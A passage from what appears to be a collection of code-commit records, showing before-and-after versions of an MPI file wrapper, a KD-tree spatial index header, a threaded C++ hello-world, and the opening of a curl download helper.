{}\n\n    file(const std::string& filename, int mode) : file(filename) {\n        open(mode);\n    }\n\n    void open(const std::string& filename, int mode) {\n        this->filename = filename;\n        MPI_File_open(MPI_COMM_SELF, filename.c_str(), mode, MPI_INFO_NULL, &handle);\n        this->isopen = true;\n    }\n\n    void open(int mode) {\n        open(this->filename, mode);\n    }\n\n    void close() {\n        if (isopen) {\n            MPI_File_close(&handle);\n            isopen = false;\n            handle = MPI_FILE_NULL;\n        }\n    }\n\n    static void delete_file(const std::string& filename) {\n        MPI_File_delete(filename.c_str(), MPI_INFO_NULL);\n    }\n\n\n    size_t get_size() {\n        MPI_Offset s;\n        MPI_File_get_size(handle, &s);\n        return s;\n    }\n\n    void set_size(size_t size) {\n        MPI_File_set_size(handle, size);\n    }\n\n    template <typename T>\n    void read_at(MPI_Offset offset, T* out, size_t count) {\n        mxx::datatype dt = mxx::get_datatype<T>().contiguous(count);\n        MPI_File_read_at(handle, offset, out, 1, dt.type(), MPI_STATUS_IGNORE);\n    }\n\n    template <typename T>\n    void write_at(MPI_Offset offset, T* data, size_t count) {\n        mxx::datatype dt = mxx::get_datatype<T>().contiguous(count);\n        MPI_File_write_at(handle, offset, data, 1, dt.type(), MPI_STATUS_IGNORE);\n    }\n\n    \/\/ TODO:\n\n    \/\/ iread_at\n    \/\/ iwrite_at\n    \/\/\n    \/\/ read_at_all\n    \/\/ write_at_all\n    \/\/\n    \/\/ iread_at_all\n    \/\/ iwrite_at_all\n    \/\/\n    \/\/ read\n    \/\/ write\n    \/\/\n    \/\/ read_all\n    \/\/ write_all\n    \/\/\n    \/\/ iread\n    \/\/ iwrite\n    \/\/\n    \/\/ iread_all\n    \/\/ iwrite_all\n    \/\/\n    \/\/\n    \/\/\n    \/\/ seek_set\n    \/\/ seek_cur\n    \/\/ seek_end\n    \/\/\n    \/\/ get_pos \/\/ `etype` units\n    \/\/ get_byte_offset\n    \/\/\n    \/\/\n    \/\/\n\n    virtual ~file() {\n        close();\n    }\n};\n\nstruct coll_file : public file {\n    const mxx::comm& comm;\n\n    coll_file(const std::string& filename, const mxx::comm& comm)\n        : file(filename), comm(comm) {}\n\n\n    template <typename T>\n    void read_ordered(size_t count, T* out) {\n        mxx::datatype dt = mxx::get_datatype<T>().contiguous(count);\n        MPI_File_read_ordered(handle, out, 1, dt.type(), MPI_STATUS_IGNORE);\n    }\n\n    \/\/ collective, blocking\n    \/\/ simple ordered write without a need for a file view\n    template <typename T>\n    void write_ordered(const T* buf, size_t count) {\n        mxx::datatype dt = mxx::get_datatype<T>().contiguous(count);\n        MPI_File_write_ordered(handle, const_cast<T*>(buf), 1, dt.type(), MPI_STATUS_IGNORE);\n    }\n\n    void open(int mode) {\n        MPI_File_open(comm, &filename[0], mode, MPI_INFO_NULL, &handle);\n        this->isopen = true;\n    }\n};\n\nstd::string file_block_decompose(const char* filename, MPI_Comm comm = MPI_COMM_WORLD, std::size_t max_local_size = 0)\n{\n    \/\/ TODO: handle error if file doesn't exist\n\n    \/\/ get size of input file\n    std::size_t file_size = get_filesize(filename);\n\n    \/\/ get communication parameters\n    int p, rank;\n    MPI_Comm_size(comm, &p);\n    MPI_Comm_rank(comm, &rank);\n\n    \/\/ restrict max local size (assuming that it is the same parameter on each\n    \/\/ processor)\n    if (max_local_size > 0 && file_size \/ p > max_local_size)\n        file_size = p*max_local_size;\n    blk_dist part(file_size, p, rank);\n    \/\/ block decompose\n    std::size_t local_size = part.local_size();\n    std::size_t offset = part.eprefix_size();\n\n    \/\/ open file\n    std::ifstream t(filename);\n    \/\/ wrap in our custom range buffer (of type std::streambuf)\n    rangebuf rb(offset, local_size, t.rdbuf());\n\n    \/\/ read file (range) buffer into string stream\n    std::stringstream ss;\n    ss << &rb;\n\n    std::string local_str(ss.str());\n\n    return local_str;\n}\n\ntemplate <typename T>\nvoid write_ordered(const std::string& filename, const T* buf, size_t count, const mxx::comm& comm) {\n    MPI_File handle;\n    MPI_File_open(comm, const_cast<char*>(&filename[0]), MPI_MODE_CREATE | MPI_MODE_WRONLY, MPI_INFO_NULL, &handle);\n    mxx::datatype dt = mxx::get_datatype<T>();\n    MPI_File_write_ordered(handle, const_cast<T*>(buf), count, dt.type(), MPI_STATUS_IGNORE);\n    MPI_File_close(&handle);\n}\ntemplate <typename T>\nvoid write_ordered(const std::string& filename, const std::vector<T>& data, const mxx::comm& comm) {\n    write_ordered(filename, data.data(), data.size(), comm);\n}\n\ntemplate <typename _Iterator>\nvoid write_files(const std::string& filename, _Iterator begin, _Iterator end, MPI_Comm comm = MPI_COMM_WORLD)\n{\n    \/\/ get MPI Communicator properties\n    int rank, p;\n    MPI_Comm_size(comm, &p);\n    MPI_Comm_rank(comm, &rank);\n\n    \/\/ get max rank string length:\n    std::stringstream sslen;\n    sslen << p;\n    int rank_slen = sslen.str().size();\n\n    \/\/ concat rank at end of filename\n    std::stringstream ss;\n    ss << filename << \".\" << std::setfill('0') << std::setw(rank_slen) << p << \".\" << std::setfill('0') << std::setw(rank_slen) << rank;\n\n    \/\/ open file with stream\n    \/\/std::cerr << \"writing to file \" << ss.str() << std::endl;\n    std::ofstream outfs(ss.str());\n\n    \/\/ write the content into the file, sep by newline\n    while (begin != end)\n    {\n        outfs << *(begin++) << std::endl;\n    }\n    outfs.close();\n}\n\n\n} \/\/ namespace mxx\n\n#endif \/\/ MXX_FILE_HPP\n<commit_msg>fix const char error in File_open\/File_delete<commit_after>\/*\n * Copyright 2015 Georgia Institute of Technology\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/**\n * @file    file.hpp\n * @author  Patrick Flick <patrick.flick@gmail.com>\n * @brief   Block decompose and distribute file as string on MPI communicator.\n *\n * This is not a substitute for MPI_File functionality.\n * TODO:\n * - [ ] Implement proper MPI_File functions for parallel reading of files\n *\/\n\n#ifndef MXX_FILE_HPP\n#define MXX_FILE_HPP\n\n#include <mpi.h>\n\n\/\/ C++ includes\n#include <string>\n#include <fstream>\n#include <streambuf>\n#include <sstream>\n#include <iostream>\n#include <iomanip>\n\n\/\/ mxx includes\n#include \"partition.hpp\"\n\nnamespace mxx {\n\nstd::ifstream::pos_type get_filesize(const char* filename)\n{\n    std::ifstream in(filename, std::ifstream::ate | std::ifstream::binary);\n    return in.tellg();\n}\n\nclass rangebuf: public std::streambuf {\npublic:\n    rangebuf(std::streampos start,\n                    size_t size,\n                    std::streambuf* sbuf):\n        size_(size), sbuf_(sbuf), buf_(new char[64])\n    {\n        sbuf->pubseekpos(start, std::ios_base::in);\n    }\n    int underflow() {\n        size_t r(this->sbuf_->sgetn(this->buf_,\n            std::min<size_t>(sizeof(this->buf_), this->size_)));\n        this->size_ -= r;\n        this->setg(this->buf_, this->buf_, this->buf_ + r);\n        return this->gptr() == this->egptr()\n            ? traits_type::eof()\n            : traits_type::to_int_type(*this->gptr());\n    }\n\n    ~rangebuf()\n    {\n        delete [] this->buf_;\n    }\nprotected:\n    size_t size_;\n    std::streambuf* sbuf_;\n    char* buf_;\n};\n\n\nstruct file {\nprotected:\n    MPI_File handle;\n    std::string filename;\n    bool isopen;\n\n\n    void clear() {\n        handle = MPI_FILE_NULL;\n        filename = \"\";\n        isopen = false;\n    }\npublic:\n    file() : handle(MPI_FILE_NULL), filename(), isopen(false) {}\n\n    file(file&& o) : handle(o.handle), filename(o.filename), isopen(o.isopen) {\n        o.clear();\n    }\n\n    file(const std::string& filename) : handle(MPI_FILE_NULL), filename(filename), isopen(false) {}\n\n    file(const std::string& filename, int mode) : file(filename) {\n        open(mode);\n    }\n\n    void open(const std::string& filename, int mode) {\n        this->filename = filename;\n        MPI_File_open(MPI_COMM_SELF, &filename[0], mode, MPI_INFO_NULL, &handle);\n        this->isopen = true;\n    }\n\n    void open(int mode) {\n        open(this->filename, mode);\n    }\n\n    void close() {\n        if (isopen) {\n            MPI_File_close(&handle);\n            isopen = false;\n            handle = MPI_FILE_NULL;\n        }\n    }\n\n    static void delete_file(const std::string& filename) {\n        MPI_File_delete(&filename[0], MPI_INFO_NULL);\n    }\n\n\n    size_t get_size() {\n        MPI_Offset s;\n        MPI_File_get_size(handle, &s);\n        return s;\n    }\n\n    void set_size(size_t size) {\n        MPI_File_set_size(handle, size);\n    }\n\n    template <typename T>\n    void read_at(MPI_Offset offset, T* out, size_t count) {\n        mxx::datatype dt = mxx::get_datatype<T>().contiguous(count);\n        MPI_File_read_at(handle, offset, out, 1, dt.type(), MPI_STATUS_IGNORE);\n    }\n\n    template <typename T>\n    void write_at(MPI_Offset offset, T* data, size_t count) {\n        mxx::datatype dt = mxx::get_datatype<T>().contiguous(count);\n        MPI_File_write_at(handle, offset, data, 1, dt.type(), MPI_STATUS_IGNORE);\n    }\n\n    \/\/ TODO:\n\n    \/\/ iread_at\n    \/\/ iwrite_at\n    \/\/\n    \/\/ read_at_all\n    \/\/ write_at_all\n    \/\/\n    \/\/ iread_at_all\n    \/\/ iwrite_at_all\n    \/\/\n    \/\/ read\n    \/\/ write\n    \/\/\n    \/\/ read_all\n    \/\/ write_all\n    \/\/\n    \/\/ iread\n    \/\/ iwrite\n    \/\/\n    \/\/ iread_all\n    \/\/ iwrite_all\n    \/\/\n    \/\/\n    \/\/\n    \/\/ seek_set\n    \/\/ seek_cur\n    \/\/ seek_end\n    \/\/\n    \/\/ get_pos \/\/ `etype` units\n    \/\/ get_byte_offset\n    \/\/\n    \/\/\n    \/\/\n\n    virtual ~file() {\n        close();\n    }\n};\n\nstruct coll_file : public file {\n    const mxx::comm& comm;\n\n    coll_file(const std::string& filename, const mxx::comm& comm)\n        : file(filename), comm(comm) {}\n\n\n    template <typename T>\n    void read_ordered(size_t count, T* out) {\n        mxx::datatype dt = mxx::get_datatype<T>().contiguous(count);\n        MPI_File_read_ordered(handle, out, 1, dt.type(), MPI_STATUS_IGNORE);\n    }\n\n    \/\/ collective, blocking\n    \/\/ simple ordered write without a need for a file view\n    template <typename T>\n    void write_ordered(const T* buf, size_t count) {\n        mxx::datatype dt = mxx::get_datatype<T>().contiguous(count);\n        MPI_File_write_ordered(handle, const_cast<T*>(buf), 1, dt.type(), MPI_STATUS_IGNORE);\n    }\n\n    void open(int mode) {\n        MPI_File_open(comm, &filename[0], mode, MPI_INFO_NULL, &handle);\n        this->isopen = true;\n    }\n};\n\nstd::string file_block_decompose(const char* filename, MPI_Comm comm = MPI_COMM_WORLD, std::size_t max_local_size = 0)\n{\n    \/\/ TODO: handle error if file doesn't exist\n\n    \/\/ get size of input file\n    std::size_t file_size = get_filesize(filename);\n\n    \/\/ get communication parameters\n    int p, rank;\n    MPI_Comm_size(comm, &p);\n    MPI_Comm_rank(comm, &rank);\n\n    \/\/ restrict max local size (assuming that it is the same parameter on each\n    \/\/ processor)\n    if (max_local_size > 0 && file_size \/ p > max_local_size)\n        file_size = p*max_local_size;\n    blk_dist part(file_size, p, rank);\n    \/\/ block decompose\n    std::size_t local_size = part.local_size();\n    std::size_t offset = part.eprefix_size();\n\n    \/\/ open file\n    std::ifstream t(filename);\n    \/\/ wrap in our custom range buffer (of type std::streambuf)\n    rangebuf rb(offset, local_size, t.rdbuf());\n\n    \/\/ read file (range) buffer into string stream\n    std::stringstream ss;\n    ss << &rb;\n\n    std::string local_str(ss.str());\n\n    return local_str;\n}\n\ntemplate <typename T>\nvoid write_ordered(const std::string& filename, const T* buf, size_t count, const mxx::comm& comm) {\n    MPI_File handle;\n    MPI_File_open(comm, const_cast<char*>(&filename[0]), MPI_MODE_CREATE | MPI_MODE_WRONLY, MPI_INFO_NULL, &handle);\n    mxx::datatype dt = mxx::get_datatype<T>();\n    MPI_File_write_ordered(handle, const_cast<T*>(buf), count, dt.type(), MPI_STATUS_IGNORE);\n    MPI_File_close(&handle);\n}\ntemplate <typename T>\nvoid write_ordered(const std::string& filename, const std::vector<T>& data, const mxx::comm& comm) {\n    write_ordered(filename, data.data(), data.size(), comm);\n}\n\ntemplate <typename _Iterator>\nvoid write_files(const std::string& filename, _Iterator begin, _Iterator end, MPI_Comm comm = MPI_COMM_WORLD)\n{\n    \/\/ get MPI Communicator properties\n    int rank, p;\n    MPI_Comm_size(comm, &p);\n    MPI_Comm_rank(comm, &rank);\n\n    \/\/ get max rank string length:\n    std::stringstream sslen;\n    sslen << p;\n    int rank_slen = sslen.str().size();\n\n    \/\/ concat rank at end of filename\n    std::stringstream ss;\n    ss << filename << \".\" << std::setfill('0') << std::setw(rank_slen) << p << \".\" << std::setfill('0') << std::setw(rank_slen) << rank;\n\n    \/\/ open file with stream\n    \/\/std::cerr << \"writing to file \" << ss.str() << std::endl;\n    std::ofstream outfs(ss.str());\n\n    \/\/ write the content into the file, sep by newline\n    while (begin != end)\n    {\n        outfs << *(begin++) << std::endl;\n    }\n    outfs.close();\n}\n\n\n} \/\/ namespace mxx\n\n#endif \/\/ MXX_FILE_HPP\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include <algorithm>\n#include <cmath>\n#include <cstdint>\n#include <tuple>\n#include <vector>\n\nnamespace kdbush {\n\ntemplate <std::uint8_t I, typename T>\nstruct nth {\n    inline static typename std::tuple_element<I, T>::type get(const T &t) {\n        return std::get<I>(t);\n    }\n};\n\ntemplate <typename TPoint, typename TIndex = std::size_t>\nclass KDBush {\n\npublic:\n    using TNumber = decltype(nth<0, TPoint>::get(std::declval<TPoint>()));\n\n    static const std::uint8_t defaultNodeSize = 64;\n\n    KDBush(const std::vector<TPoint> &points_, const std::uint8_t nodeSize_ = defaultNodeSize)\n        : KDBush(std::begin(points_), std::end(points_), nodeSize_) {\n    }\n\n    template <typename TPointIter>\n    KDBush(TPointIter points_begin,\n           TPointIter points_end,\n           const std::uint8_t nodeSize_ = defaultNodeSize)\n        : nodeSize(nodeSize_) {\n\n        const TIndex size = std::distance(points_begin, points_end);\n\n        points.reserve(size);\n        ids.reserve(size);\n\n        for (TIndex i = 0; i < size; i++) {\n            const auto p = *(points_begin + i);\n            points.emplace_back(nth<0, TPoint>::get(p), nth<1, TPoint>::get(p));\n            ids.push_back(i);\n        }\n\n        sortKD(0, size - 1, 0);\n    }\n\n    template <typename TOutputIter>\n    void range(const TNumber minX,\n               const TNumber minY,\n               const TNumber maxX,\n               const TNumber maxY,\n               TOutputIter out) {\n        range(minX, minY, maxX, maxY, out, 0, ids.size() - 1, 0);\n    }\n\n    template <typename TOutputIter>\n    void within(const TNumber qx, const TNumber qy, const TNumber r, TOutputIter out) {\n        within(qx, qy, r, out, 0, ids.size() - 1, 0);\n    }\n\nprivate:\n    std::vector<TIndex> ids;\n    std::vector<std::pair<TNumber, TNumber>> points;\n    std::uint8_t nodeSize;\n\n    template <typename TOutputIter>\n    void range(const TNumber minX,\n               const TNumber minY,\n               const TNumber maxX,\n               const TNumber maxY,\n               TOutputIter out,\n               const TIndex left,\n               const TIndex right,\n               const std::uint8_t axis) {\n\n        if (right - left <= nodeSize) {\n            for (auto i = left; i <= right; i++) {\n                const TNumber x = std::get<0>(points[i]);\n                const TNumber y = std::get<1>(points[i]);\n                if (x >= minX && x <= maxX && y >= minY && y <= maxY) *out++ = ids[i];\n            }\n            return;\n        }\n\n        const TIndex m = (left + right) >> 1;\n        const TNumber x = std::get<0>(points[m]);\n        const TNumber y = std::get<1>(points[m]);\n\n        if (x >= minX && x <= maxX && y >= minY && y <= maxY) *out++ = ids[m];\n\n        if (axis == 0 ? minX <= x : minY <= y)\n            range(minX, minY, maxX, maxY, out, left, m - 1, (axis + 1) % 2);\n\n        if (axis == 0 ? maxX >= x : maxY >= y)\n            range(minX, minY, maxX, maxY, out, m + 1, right, (axis + 1) % 2);\n    }\n\n    template <typename TOutputIter>\n    void within(const TNumber qx,\n                const TNumber qy,\n                const TNumber r,\n                TOutputIter out,\n                const TIndex left,\n                const TIndex right,\n                const std::uint8_t axis) {\n\n        const TNumber r2 = r * r;\n\n        if (right - left <= nodeSize) {\n            for (auto i = left; i <= right; i++) {\n                const TNumber x = std::get<0>(points[i]);\n                const TNumber y = std::get<1>(points[i]);\n                if (sqDist(x, y, qx, qy) <= r2) *out++ = ids[i];\n            }\n            return;\n        }\n\n        const TIndex m = (left + right) >> 1;\n        const TNumber x = std::get<0>(points[m]);\n        const TNumber y = std::get<1>(points[m]);\n\n        if (sqDist(x, y, qx, qy) <= r2) *out++ = ids[m];\n\n        if (axis == 0 ? qx - r <= x : qy - r <= y)\n            within(qx, qy, r, out, left, m - 1, (axis + 1) % 2);\n\n        if (axis == 0 ? qx + r >= x : qy + r >= y)\n            within(qx, qy, r, out, m + 1, right, (axis + 1) % 2);\n    }\n\n    void sortKD(const TIndex left, const TIndex right, const std::uint8_t axis) {\n        if (right - left <= nodeSize) return;\n        const TIndex m = (left + right) >> 1;\n        if (axis == 0) {\n            select<0>(m, left, right);\n        } else {\n            select<1>(m, left, right);\n        }\n        sortKD(left, m - 1, (axis + 1) % 2);\n        sortKD(m + 1, right, (axis + 1) % 2);\n    }\n\n    template <std::uint8_t axis>\n    void select(const TIndex k, TIndex left, TIndex right) {\n\n        while (right > left) {\n            if (right - left > 600) {\n                const TIndex n = right - left + 1;\n                const TIndex m = k - left + 1;\n                const double z = log(n);\n                const double s = 0.5 * exp(2 * z \/ 3);\n                const double sd = 0.5 * sqrt(z * s * (n - s) \/ n) * (2 * m < n ? -1 : 1);\n                const TIndex newLeft = std::max(left, TIndex(k - m * s \/ n + sd));\n                const TIndex newRight = std::min(right, TIndex(k + (n - m) * s \/ n + sd));\n                select<axis>(k, newLeft, newRight);\n            }\n\n            const TNumber t = std::get<axis>(points[k]);\n            TIndex i = left;\n            TIndex j = right;\n\n            swapItem(left, k);\n            if (std::get<axis>(points[right]) > t) swapItem(left, right);\n\n            while (i < j) {\n                swapItem(i, j);\n                i++;\n                j--;\n                while (std::get<axis>(points[i]) < t) i++;\n                while (std::get<axis>(points[j]) > t) j--;\n            }\n\n            if (std::get<axis>(points[left]) == t)\n                swapItem(left, j);\n            else {\n                j++;\n                swapItem(j, right);\n            }\n\n            if (j <= k) left = j + 1;\n            if (k <= j) right = j - 1;\n        }\n    }\n\n    void swapItem(const TIndex i, const TIndex j) {\n        std::iter_swap(ids.begin() + i, ids.begin() + j);\n        std::iter_swap(points.begin() + i, points.begin() + j);\n    }\n\n    TNumber sqDist(const TNumber ax, const TNumber ay, const TNumber bx, const TNumber by) {\n        const TNumber dx = ax - bx;\n        const TNumber dy = ay - by;\n        return dx * dx + dy * dy;\n    }\n};\n\n} \/\/ namespace kdbush\n<commit_msg>add a static assert for point components<commit_after>#pragma once\n\n#include <algorithm>\n#include <cmath>\n#include <cstdint>\n#include <tuple>\n#include <vector>\n\nnamespace kdbush {\n\ntemplate <std::uint8_t I, typename T>\nstruct nth {\n    inline static typename std::tuple_element<I, T>::type get(const T &t) {\n        return std::get<I>(t);\n    }\n};\n\ntemplate <typename TPoint, typename TIndex = std::size_t>\nclass KDBush {\n\npublic:\n    using TNumber = decltype(nth<0, TPoint>::get(std::declval<TPoint>()));\n    static_assert(\n        std::is_same<TNumber, decltype(nth<1, TPoint>::get(std::declval<TPoint>()))>::value,\n        \"point component types must be identical\");\n\n    static const std::uint8_t defaultNodeSize = 64;\n\n    KDBush(const std::vector<TPoint> &points_, const std::uint8_t nodeSize_ = defaultNodeSize)\n        : KDBush(std::begin(points_), std::end(points_), nodeSize_) {\n    }\n\n    template <typename TPointIter>\n    KDBush(TPointIter points_begin,\n           TPointIter points_end,\n           const std::uint8_t nodeSize_ = defaultNodeSize)\n        : nodeSize(nodeSize_) {\n\n        const TIndex size = std::distance(points_begin, points_end);\n\n        points.reserve(size);\n        ids.reserve(size);\n\n        for (TIndex i = 0; i < size; i++) {\n            const auto p = *(points_begin + i);\n            points.emplace_back(nth<0, TPoint>::get(p), nth<1, TPoint>::get(p));\n            ids.push_back(i);\n        }\n\n        sortKD(0, size - 1, 0);\n    }\n\n    template <typename TOutputIter>\n    void range(const TNumber minX,\n               const TNumber minY,\n               const TNumber maxX,\n               const TNumber maxY,\n               TOutputIter out) {\n        range(minX, minY, maxX, maxY, out, 0, ids.size() - 1, 0);\n    }\n\n    template <typename TOutputIter>\n    void within(const TNumber qx, const TNumber qy, const TNumber r, TOutputIter out) {\n        within(qx, qy, r, out, 0, ids.size() - 1, 0);\n    }\n\nprivate:\n    std::vector<TIndex> ids;\n    std::vector<std::pair<TNumber, TNumber>> points;\n    std::uint8_t nodeSize;\n\n    template <typename TOutputIter>\n    void range(const TNumber minX,\n               const TNumber minY,\n               const TNumber maxX,\n               const TNumber maxY,\n               TOutputIter out,\n               const TIndex left,\n               const TIndex right,\n               const std::uint8_t axis) {\n\n        if (right - left <= nodeSize) {\n            for (auto i = left; i <= right; i++) {\n                const TNumber x = std::get<0>(points[i]);\n                const TNumber y = std::get<1>(points[i]);\n                if (x >= minX && x <= maxX && y >= minY && y <= maxY) *out++ = ids[i];\n            }\n            return;\n        }\n\n        const TIndex m = (left + right) >> 1;\n        const TNumber x = std::get<0>(points[m]);\n        const TNumber y = std::get<1>(points[m]);\n\n        if (x >= minX && x <= maxX && y >= minY && y <= maxY) *out++ = ids[m];\n\n        if (axis == 0 ? minX <= x : minY <= y)\n            range(minX, minY, maxX, maxY, out, left, m - 1, (axis + 1) % 2);\n\n        if (axis == 0 ? maxX >= x : maxY >= y)\n            range(minX, minY, maxX, maxY, out, m + 1, right, (axis + 1) % 2);\n    }\n\n    template <typename TOutputIter>\n    void within(const TNumber qx,\n                const TNumber qy,\n                const TNumber r,\n                TOutputIter out,\n                const TIndex left,\n                const TIndex right,\n                const std::uint8_t axis) {\n\n        const TNumber r2 = r * r;\n\n        if (right - left <= nodeSize) {\n            for (auto i = left; i <= right; i++) {\n                const TNumber x = std::get<0>(points[i]);\n                const TNumber y = std::get<1>(points[i]);\n                if (sqDist(x, y, qx, qy) <= r2) *out++ = ids[i];\n            }\n            return;\n        }\n\n        const TIndex m = (left + right) >> 1;\n        const TNumber x = std::get<0>(points[m]);\n        const TNumber y = std::get<1>(points[m]);\n\n        if (sqDist(x, y, qx, qy) <= r2) *out++ = ids[m];\n\n        if (axis == 0 ? qx - r <= x : qy - r <= y)\n            within(qx, qy, r, out, left, m - 1, (axis + 1) % 2);\n\n        if (axis == 0 ? qx + r >= x : qy + r >= y)\n            within(qx, qy, r, out, m + 1, right, (axis + 1) % 2);\n    }\n\n    void sortKD(const TIndex left, const TIndex right, const std::uint8_t axis) {\n        if (right - left <= nodeSize) return;\n        const TIndex m = (left + right) >> 1;\n        if (axis == 0) {\n            select<0>(m, left, right);\n        } else {\n            select<1>(m, left, right);\n        }\n        sortKD(left, m - 1, (axis + 1) % 2);\n        sortKD(m + 1, right, (axis + 1) % 2);\n    }\n\n    template <std::uint8_t axis>\n    void select(const TIndex k, TIndex left, TIndex right) {\n\n        while (right > left) {\n            if (right - left > 600) {\n                const TIndex n = right - left + 1;\n                const TIndex m = k - left + 1;\n                const double z = log(n);\n                const double s = 0.5 * exp(2 * z \/ 3);\n                const double sd = 0.5 * sqrt(z * s * (n - s) \/ n) * (2 * m < n ? -1 : 1);\n                const TIndex newLeft = std::max(left, TIndex(k - m * s \/ n + sd));\n                const TIndex newRight = std::min(right, TIndex(k + (n - m) * s \/ n + sd));\n                select<axis>(k, newLeft, newRight);\n            }\n\n            const TNumber t = std::get<axis>(points[k]);\n            TIndex i = left;\n            TIndex j = right;\n\n            swapItem(left, k);\n            if (std::get<axis>(points[right]) > t) swapItem(left, right);\n\n            while (i < j) {\n                swapItem(i, j);\n                i++;\n                j--;\n                while (std::get<axis>(points[i]) < t) i++;\n                while (std::get<axis>(points[j]) > t) j--;\n            }\n\n            if (std::get<axis>(points[left]) == t)\n                swapItem(left, j);\n            else {\n                j++;\n                swapItem(j, right);\n            }\n\n            if (j <= k) left = j + 1;\n            if (k <= j) right = j - 1;\n        }\n    }\n\n    void swapItem(const TIndex i, const TIndex j) {\n        std::iter_swap(ids.begin() + i, ids.begin() + j);\n        std::iter_swap(points.begin() + i, points.begin() + j);\n    }\n\n    TNumber sqDist(const TNumber ax, const TNumber ay, const TNumber bx, const TNumber by) {\n        const TNumber dx = ax - bx;\n        const TNumber dy = ay - by;\n        return dx * dx + dy * dy;\n    }\n};\n\n} \/\/ namespace kdbush\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *  Traditional K&R Hello World program done in C++.\n *\/\n#include <iostream>\n#include <thread>\n\nauto hw = \"  Hello World!\";\nauto gw = \"Goodbye World!\";\n\nvoid hello()\n{\n    using namespace std;\n\n    cout << hw+2 << endl;\n}\n\nint main()\n{\n    std::thread t(hello);\n    t.join();\n    std::cout << gw << '\\n';\n\n    return 0;\n}\n\n\/*\n *  Notes:\n *\n *  1. Type infarence via auto keyword\n *  2. IOSTREAM library\n *  3. Use of namespaces\n *  4. Still lets you \"fiddle the bits\" with\n *     pointers to chracter arrays\n *  5. Unlike ANSI C, main's prototype indicates\n *     that it takes no arguments.\n *  6. Function overloading makes << easy to deal with\n *  7. Built in std::thread library even with base compile\n *  8. Currently not specifying any sort of \"standard\"\n *  8. Need to compile with\n *       g++ -Wall -pthread hw.cpp -o hw\n *     otherwise linker error with pthread_create\n *     undefined.  Got the -pthread from the pthread_create \n *     Linux, not POSIX, manpage.\n *\/\n\n<commit_msg>ToInfinityAndBeyond\/hw.cpp change<commit_after>\/*\n *  Traditional K&R Hello World program done in C++.\n *\/\n#include <iostream>\n#include <thread>\n\nauto hw {\"  Hello World!\"};\nauto gw {\"Goodbye World!\"};\n\nvoid hello()\n{\n    using namespace std;\n\n    cout << hw+2 << endl;\n}\n\nint main()\n{\n    std::thread t(hello);\n    t.join();\n    std::cout << gw << '\\n';\n\n    return 0;\n}\n\n\/*\n *  Notes:\n *\n *  1. Type infarence via auto keyword\n *  2. IOSTREAM library\n *  3. Uniform Initialization turns off Fortran-like automatic\n *     data converion.\n *  4. Use of namespaces\n *  5. Still lets you \"fiddle the bits\" with\n *     pointers to chracter arrays\n *  6. Unlike ANSI C, main's prototype indicates\n *     that it takes no arguments.\n *  7. Function overloading makes << easy to deal with\n *  8. Built in std::thread library even with base compile\n *  9. Currently not specifying any sort of \"standard\"\n * 10. Need to compile with\n *       g++ -Wall -pthread hw.cpp -o hw\n *     otherwise linker error with pthread_create\n *     undefined.  Got the -pthread from the pthread_create \n *     Linux, not POSIX, manpage.\n *\/\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"curltools.h\"\n\n#include \"json_spirit.h\"\n#include \"util.h\"\n#include <boost\/thread.hpp>\n#include <iostream>\n#include <openssl\/ssl.h>\n\nboost::once_flag init_openssl_once_flag     = BOOST_ONCE_INIT;\nboost::once_flag init_curl_global_once_flag = BOOST_ONCE_INIT;\nboost::mutex     curl_global_init_lock;\n\nclass CurlCleaner\n{\n    CURL* curl_obj_to_clean;\n\npublic:\n    CurlCleaner(CURL* Curl_obj_to_clean) : curl_obj_to_clean(Curl_obj_to_clean) {}\n\n    ~CurlCleaner() { curl_easy_cleanup(curl_obj_to_clean); }\n};\n\nsize_t cURLTools::CurlWrite_CallbackFunc_StdString(void* contents, size_t size, size_t nmemb,\n                                                   std::deque<char>* s)\n{\n    size_t newLength = size * nmemb;\n    size_t oldLength = s->size();\n    try {\n        s->resize(oldLength + newLength);\n    } catch (std::bad_alloc& e) {\n        std::stringstream msg;\n        msg << \"Error allocating memory: \" << e.what() << std::endl;\n        printf(\"%s\", msg.str().c_str());\n        return 0;\n    }\n\n    std::copy((char*)contents, (char*)contents + newLength, s->begin() + oldLength);\n    return size * nmemb;\n}\n\nsize_t cURLTools::CurlRead_CallbackFunc_StdString(void* dest, size_t \/*size*\/, size_t \/*nmemb*\/,\n                                                  void* userp)\n{\n    std::string* from = (std::string*)userp;\n    std::string* to   = (std::string*)dest;\n\n    std::copy(from->begin(), from->end(), std::back_inserter(*to));\n\n    return 0; \/* no more data left to deliver *\/\n}\n\nsize_t cURLTools::CurlWrite_CallbackFunc_File(void* contents, size_t size, size_t nmemb,\n                                              boost::filesystem::fstream* fs)\n{\n    size_t newLength = size * nmemb;\n    fs->write(reinterpret_cast<char*>(contents), newLength);\n    return size * nmemb;\n}\n\nint cURLTools::CurlProgress_CallbackFunc(void*, double TotalToDownload, double NowDownloaded,\n                                         double \/*TotalToUpload*\/, double \/*NowUploaded*\/)\n{\n    std::clog << \"Download progress: \" << ToString(NowDownloaded) << \" \/ \" << ToString(TotalToDownload)\n              << std::endl;\n    return CURLE_OK;\n}\n\nint cURLTools::CurlAtomicProgress_CallbackFunc(void* number, double TotalToDownload,\n                                               double NowDownloaded, double \/*TotalToUpload*\/,\n                                               double \/*NowUploaded*\/)\n{\n    std::atomic<float>* progress = reinterpret_cast<std::atomic<float>*>(number);\n    float               val      = 0;\n    if (TotalToDownload > 0.) {\n        val = static_cast<float>(100. * NowDownloaded \/ TotalToDownload);\n        if (val < 0.0001) {\n            val = 0;\n        }\n    }\n    progress->store(val, std::memory_order_relaxed);\n    return CURLE_OK;\n}\n\nvoid cURLTools::CurlGlobalInit_ThreadSafe()\n{\n    boost::lock_guard<boost::mutex> lg(curl_global_init_lock);\n    curl_global_init(CURL_GLOBAL_DEFAULT);\n}\n\nvoid cURLTools::GetLargeFileFromHTTPS(const std::string& URL, long ConnectionTimeout,\n                                      const boost::filesystem::path& targetPath,\n                                      std::atomic<float>&            progress,\n                                      const std::set<CURLcode>&      